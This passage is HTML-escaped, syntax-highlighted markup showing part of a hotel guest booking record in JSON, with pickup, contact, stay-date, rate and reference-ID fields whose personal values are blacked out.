&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTADULTS_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOM_SEQ&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TIME_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_CODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_NUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME1X&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ARR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PCAT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPIREDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SEX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITIONDATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PHONE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;49 ██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_REFERENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VOUCHERNUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_PARAMETERS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_SPECIAL_MEAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_BRACELET_CONSENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;FALSE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NUMBEROFPERSONS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CREDITALLOWED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;TRUE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_ADDRESS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERS_RATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;R&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISDEFAULT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;QUANTITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_DESC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST_RATE_TYPE_KEY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_SEGMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DAYS&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE_TOTAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;D&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPACKAGE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Y&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISPROTECTED&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_ADM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE_SM&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PO_BOX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STREET&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████ ██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INSURANCETYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POST_AREA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_STREET_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;KITCHEN_COMMENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ADDRESS_CORRESPONDENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_ZIPCODE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;AEXTIDLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXTID&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UIT_OTHER&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;					&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;UIT_TRAVEL_AGENT_PNR&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NOROOMS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;			&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ROOMINGLIST_STATISTICS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;				&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PERSONNIGHTS&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
